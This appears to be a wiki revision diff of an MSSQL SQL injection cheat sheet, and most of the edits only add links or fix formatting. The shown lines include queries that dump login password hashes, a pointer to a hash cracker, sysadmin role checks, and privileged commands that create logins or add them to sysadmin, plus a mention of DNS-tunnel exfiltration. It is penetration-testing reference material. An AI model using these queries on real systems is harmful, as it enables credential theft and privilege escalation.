Differences

This shows you the differences between two versions of the page.

--- hacking:sql_injection_cheat_sheet_mssql [2020/04/01 09:29] – created peter
+++ hacking:sql_injection_cheat_sheet_mssql [2020/07/15 09:30] (current) – external edit 127.0.0.1
@@ Line 18: / Line 18: @@
 SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins -- priv, mssql 2005
 </code>|
-|Password Cracker|MSSQL 2000 and 2005 Hashes are both SHA1-based. [https://labs.portcullis.co.uk/application/phrasen-drescher/|phrasen|drescher] can crack these.|
+|Password Cracker|MSSQL 2000 and 2005 Hashes are both SHA1-based. [[https://labs.portcullis.co.uk/application/phrasen-drescher/|phrasen|drescher]] can crack these.|
 |List Privileges|Impossible?|
 |List DBA Accounts|<code>
 TODO
-SELECT is_srvrolemember('sysadmin'); -- is your account a sysadmin? returns 1 for true, 0 for false, NULL for invalid role. Also try 'bulkadmin', 'systemadmin' and other values from the [https://msdn.microsoft.com/en-us/library/ms176015.aspx|documentation] SELECT is_srvrolemember('sysadmin', 'sa'); -- is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid role/username.
+SELECT is_srvrolemember('sysadmin'); -- is your account a sysadmin? returns 1 for true, 0 for false, NULL for invalid role.
+Also try 'bulkadmin', 'systemadmin' and other values from the [[https://msdn.microsoft.com/en-us/library/ms176015.aspx|documentation]]
+SELECT is_srvrolemember('sysadmin', 'sa'); -- is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid role/username.
 </code>|
 |Current Database|SELECT DB_NAME()|
@@ Line 49: / Line 51: @@
 </code>|
 |ASCII Value -> Char|SELECT char(0x41) -- returns A|
-|Char -> ASCII Value|SELECT ascii('A') - returns 65|
+|Char -> ASCII Value|SELECT ascii('A') -- returns 65|
 |Casting|<code>
 SELECT CAST('1' as int);
@@ Line 65: / Line 67: @@
 -- NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host. Messy but necessary.
--- Also check out theDNS tunnel feature of sqlninja
+-- Also check out theDNS tunnel feature of [[http://sqlninja.sourceforge.net/sqlninja-howto.html|sqlninja]]
 </code>|
 |Command Execution|<code>
@@ Line 82: / Line 84: @@
 </code>
 |Hostname, IP Address|SELECT HOST_NAME()|
-|Create Users|EXEC sp_addlogin 'user', 'pass'; -- priv|
+|Create Users|EXEC [[http://msdn2.microsoft.com/en-us/library/ms173768.aspx|sp_addlogin]] 'user', 'pass'; -- priv|
-|Drop Users|EXEC sp_droplogin 'user'; -- priv|
+|Drop Users|EXEC [[http://msdn2.microsoft.com/en-us/library/ms189767.aspx|sp_droplogin]] 'user'; -- priv|
-|Make User DBA|EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin; -- priv|
+|Make User DBA|EXEC [[http://msdn2.microsoft.com/en-us/library/ms186320.aspx|master.dbo.sp_addsrvrolemember]] 'user', 'sysadmin; -- priv|
 |Location of DB files|TODO|
 |Default/System Databases|<code>
@@ Line 93: / Line 95: @@
 tempdb
 </code>|
+----
+===== References =====
+https://www.michaelboman.org/books/sql-injection-cheat-sheet-mssql